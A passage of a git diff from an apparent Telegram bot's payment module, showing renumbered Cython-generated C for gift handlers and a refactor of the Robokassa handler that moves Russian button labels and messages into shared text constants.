__Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 156, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 158, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 156, __pyx_L1_error) - __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_4gift_10gift_subscription_handler, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_gift_subscription_handler, NULL, __pyx_n_s_handlers_payments_gift, __pyx_d, ((PyObject *)__pyx_codeobj__18)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 156, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 158, __pyx_L1_error) + __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_4gift_10gift_subscription_handler, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_gift_subscription_handler, NULL, __pyx_n_s_handlers_payments_gift, __pyx_d, ((PyObject *)__pyx_codeobj__16)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 158, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_2, __pyx_t_3); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 156, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 158, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (PyDict_SetItem(__pyx_d, __pyx_n_s_gift_subscription_handler, __pyx_t_3) < 0) __PYX_ERR(0, 156, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_gift_subscription_handler, __pyx_t_3) < 0) __PYX_ERR(0, 158, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 178, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 180, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 178, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 180, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_F); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 178, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_F); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 180, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_data); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 178, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_data); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 180, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_startswith); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 178, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_startswith); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 180, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__53, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 178, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__51, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 180, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 178, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 180, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_4 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 178, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 180, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 178, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_session, __pyx_n_s_Any) < 0) __PYX_ERR(0, 178, __pyx_L1_error) - __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_4gift_13confirm_gift_handler, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_confirm_gift_handler, NULL, __pyx_n_s_handlers_payments_gift, __pyx_d, ((PyObject *)__pyx_codeobj__23)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 178, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 180, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_session, __pyx_n_s_Any) < 0) __PYX_ERR(0, 180, __pyx_L1_error) + __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_4gift_13confirm_gift_handler, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_confirm_gift_handler, NULL, __pyx_n_s_handlers_payments_gift, __pyx_d, ((PyObject *)__pyx_codeobj__21)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 180, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_2, __pyx_t_4); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 178, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 180, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (PyDict_SetItem(__pyx_d, __pyx_n_s_confirm_gift_handler, __pyx_t_4) < 0) __PYX_ERR(0, 178, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_confirm_gift_handler, __pyx_t_4) < 0) __PYX_ERR(0, 180, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_router); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 218, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_router); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 220, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 218, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 220, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_F); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 218, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_F); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 220, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 218, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 220, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_startswith); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 218, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_startswith); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 220, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__55, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 218, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__53, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 220, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 218, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 220, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 218, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 220, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 218, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 218, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_session, __pyx_n_s_Any) < 0) __PYX_ERR(0, 218, __pyx_L1_error) - __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_4gift_16finalize_gift_handler, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_finalize_gift_handler, NULL, __pyx_n_s_handlers_payments_gift, __pyx_d, ((PyObject *)__pyx_codeobj__27)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 218, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 220, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 220, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_session, __pyx_n_s_Any) < 0) __PYX_ERR(0, 220, __pyx_L1_error) + __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_4gift_16finalize_gift_handler, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_finalize_gift_handler, NULL, __pyx_n_s_handlers_payments_gift, __pyx_d, ((PyObject *)__pyx_codeobj__25)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 220, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_2, __pyx_t_3); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 218, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 220, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (PyDict_SetItem(__pyx_d, __pyx_n_s_finalize_gift_handler, __pyx_t_3) < 0) __PYX_ERR(0, 218, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_finalize_gift_handler, __pyx_t_3) < 0) __PYX_ERR(0, 220, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 278, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 280, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_inline_query); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 278, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_inline_query); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 280, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_F); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 278, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_F); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 280, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_query); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 278, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_query); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 280, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_startswith); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 278, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_startswith); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 280, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__57, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 278, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__55, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 280, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 278, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 280, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_4 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 278, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 280, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_inline_query, __pyx_n_s_InlineQuery) < 0) __PYX_ERR(0, 278, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_session, __pyx_kp_s_asyncpg_Connection) < 0) __PYX_ERR(0, 278, __pyx_L1_error) - __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_4gift_19inline_gift_handler, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_inline_gift_handler, NULL, __pyx_n_s_handlers_payments_gift, __pyx_d, ((PyObject *)__pyx_codeobj__31)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 278, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_inline_query, __pyx_n_s_InlineQuery) < 0) __PYX_ERR(0, 280, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_session, __pyx_kp_s_asyncpg_Connection) < 0) __PYX_ERR(0, 280, __pyx_L1_error) + __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_4gift_19inline_gift_handler, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_inline_gift_handler, NULL, __pyx_n_s_handlers_payments_gift, __pyx_d, ((PyObject *)__pyx_codeobj__29)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 280, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_2, __pyx_t_4); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 278, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 280, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (PyDict_SetItem(__pyx_d, __pyx_n_s_inline_gift_handler, __pyx_t_4) < 0) __PYX_ERR(0, 278, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_inline_gift_handler, __pyx_t_4) < 0) __PYX_ERR(0, 280, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_4 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_4gift_22get_hardware_id, 0, __pyx_n_s_get_hardware_id, NULL, __pyx_n_s_handlers_payments_gift, __pyx_d, ((PyObject *)__pyx_codeobj__60)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 322, __pyx_L1_error) + __pyx_t_4 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_4gift_22get_hardware_id, 0, __pyx_n_s_get_hardware_id, NULL, __pyx_n_s_handlers_payments_gift, __pyx_d, ((PyObject *)__pyx_codeobj__58)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 324, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_get_hardware_id, __pyx_t_4) < 0) __PYX_ERR(0, 322, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_get_hardware_id, __pyx_t_4) < 0) __PYX_ERR(0, 324, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_4 = __Pyx_ImportDottedModule(__pyx_n_s_aiohttp, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 338, __pyx_L1_error) + __pyx_t_4 = __Pyx_ImportDottedModule(__pyx_n_s_aiohttp, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 340, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_aiohttp, __pyx_t_4) < 0) __PYX_ERR(0, 338, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_aiohttp, __pyx_t_4) < 0) __PYX_ERR(0, 340, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_4 = __Pyx_patch_asyncio(__Pyx_ImportDottedModule(__pyx_n_s_asyncio, NULL)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 339, __pyx_L1_error) + __pyx_t_4 = __Pyx_patch_asyncio(__Pyx_ImportDottedModule(__pyx_n_s_asyncio, NULL)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 341, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_asyncio, __pyx_t_4) < 0) __PYX_ERR(0, 339, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_asyncio, __pyx_t_4) < 0) __PYX_ERR(0, 341, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_4 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_4gift_24validate_client_code, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_validate_client_code, NULL, __pyx_n_s_handlers_payments_gift, __pyx_d, ((PyObject *)__pyx_codeobj__42)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 341, __pyx_L1_error) + __pyx_t_4 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_4gift_24validate_client_code, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_validate_client_code, NULL, __pyx_n_s_handlers_payments_gift, __pyx_d, ((PyObject *)__pyx_codeobj__40)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 343, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_validate_client_code, __pyx_t_4) < 0) __PYX_ERR(0, 341, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_validate_client_code, __pyx_t_4) < 0) __PYX_ERR(0, 343, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyDict_NewPresized(0); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1, __pyx_L1_error) @@ -19231,7 +19785,7 @@ static PyObject *__Pyx_ImportDottedModule_WalkParts(PyObject *module, PyObject * #endif static PyObject *__Pyx__ImportDottedModule(PyObject *name, PyObject *parts_tuple) { #if PY_MAJOR_VERSION < 3 - PyObject *module, *from_list, *star = __pyx_n_s__45; + PyObject *module, *from_list, *star = __pyx_n_s__43; CYTHON_UNUSED_VAR(parts_tuple); from_list = PyList_New(1); if (unlikely(!from_list)) @@ -19294,7 +19848,7 @@ static PyObject *__Pyx_ImportDottedModule(PyObject *name, PyObject *parts_tuple) if (unlikely(!module_name_str)) { goto modbad; } module_name = PyUnicode_FromString(module_name_str); if (unlikely(!module_name)) { goto modbad; } - module_dot = PyUnicode_Concat(module_name, __pyx_kp_u__46); + module_dot = PyUnicode_Concat(module_name, __pyx_kp_u__44); if (unlikely(!module_dot)) { goto modbad; } full_name = PyUnicode_Concat(module_dot, name); if (unlikely(!full_name)) { goto modbad; } @@ -20904,7 +21458,7 @@ __Pyx_PyType_GetName(PyTypeObject* tp) if (unlikely(name == NULL) || unlikely(!PyUnicode_Check(name))) { PyErr_Clear(); Py_XDECREF(name); - name = __Pyx_NewRef(__pyx_n_s__62); + name = __Pyx_NewRef(__pyx_n_s__60); } return name; } diff --git a/handlers/payments/gift.cpython-312-x86_64-linux-gnu.so b/handlers/payments/gift.cpython-312-x86_64-linux-gnu.so index 922f3f9c..3e15c496 100755 Binary files a/handlers/payments/gift.cpython-312-x86_64-linux-gnu.so and b/handlers/payments/gift.cpython-312-x86_64-linux-gnu.so differ diff --git a/handlers/payments/robokassa_pay.py b/handlers/payments/robokassa_pay.py index f1568b1d..8af12ae6 100644 --- a/handlers/payments/robokassa_pay.py +++ b/handlers/payments/robokassa_pay.py @@ -8,9 +8,6 @@ from aiogram.fsm.state import State, StatesGroup from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup from aiogram.utils.keyboard import InlineKeyboardBuilder from aiohttp import web -from handlers.payments.utils import send_payment_success_notification -from robokassa import HashAlgorithm, Robokassa - from config import ( DATABASE_URL, ROBOKASSA_ENABLE, @@ -19,6 +16,8 @@ from config import ( ROBOKASSA_PASSWORD2, ROBOKASSA_TEST_MODE, ) +from robokassa import HashAlgorithm, Robokassa + from database import ( add_connection, add_payment, @@ -27,10 +26,13 @@ from database import ( get_temporary_data, update_balance, ) -from handlers.texts import PAYMENT_OPTIONS +from handlers.payments.utils import send_payment_success_notification +from handlers.texts import PAYMENT_OPTIONS, ENTER_SUM, DEFAULT_PAYMENT_MESSAGE from handlers.utils import edit_or_send_message from logger import logger +from handlers.buttons import BACK, PAY_2 + router = Router() @@ -89,7 +91,7 @@ async def process_callback_pay_robokassa(callback_query: types.CallbackQuery, st callback_data=f'robokassa_amount|{PAYMENT_OPTIONS[i]["callback_data"]}', ) ) - builder.row(InlineKeyboardButton(text="⬅️ Назад", callback_data="pay")) + builder.row(InlineKeyboardButton(text=BACK, callback_data="pay")) key_count = await get_key_count(tg_id) @@ -151,14 +153,14 @@ async def process_amount_selection(callback_query: types.CallbackQuery, state: F confirm_keyboard = InlineKeyboardMarkup( inline_keyboard=[ - [InlineKeyboardButton(text="Оплатить", url=payment_url)], - [InlineKeyboardButton(text="⬅️ Назад", callback_data="pay_robokassa")], + [InlineKeyboardButton(text=PAY_2, url=payment_url)], + [InlineKeyboardButton(text=BACK, callback_data="pay_robokassa")], ] ) await edit_or_send_message( target_message=callback_query.message, - text=f"Вы выбрали пополнение на {amount} рублей. Для оплаты перейдите по ссылке ниже:", + text=DEFAULT_PAYMENT_MESSAGE.format(amount=amount), reply_markup=confirm_keyboard, force_text=True, ) @@ -230,11 +232,11 @@ async def process_custom_amount_selection(callback_query: types.CallbackQuery, s logger.info(f"User {tg_id} chose to enter a custom amount.") builder = InlineKeyboardBuilder() - builder.row(InlineKeyboardButton(text="🔙 Назад", callback_data="pay_robokassa")) + builder.row(InlineKeyboardButton(text=BACK, callback_data="pay_robokassa")) await edit_or_send_message( target_message=callback_query.message, - text="Пожалуйста, введите сумму пополнения.", + text=ENTER_SUM, reply_markup=builder.as_markup(), force_text=True, ) @@ -285,7 +287,7 @@ async def handle_custom_amount_input( builder = InlineKeyboardBuilder() builder.row(InlineKeyboardButton(text="💳 Оплатить", url=payment_url)) - builder.row(InlineKeyboardButton(text="⬅️ Назад", callback_data="pay_robokassa")) + builder.row(InlineKeyboardButton(text=BACK, callback_data="pay_robokassa")) if state_type == "waiting_for_payment": message_text = ( diff --git a/handlers/payments/stars_pay.c b/handlers/payments/stars_pay.c index 17ef3296..e514b80a 100644 --- a/handlers/payments/stars_pay.c +++ b/handlers/payments/stars_pay.c @@ -2169,10 +2169,6 @@ static PyObject *__Pyx_PyDict_GetItem(PyObject *d, PyObject* key); /* PyIntCompare.proto */ static CYTHON_INLINE int __Pyx_PyInt_BoolEqObjC(PyObject *op1, PyObject *op2, long intval, long inplace); -/* JoinPyUnicode.proto */ -static PyObject* __Pyx_PyUnicode_Join(PyObject* value_tuple, Py_ssize_t value_count, Py_ssize_t 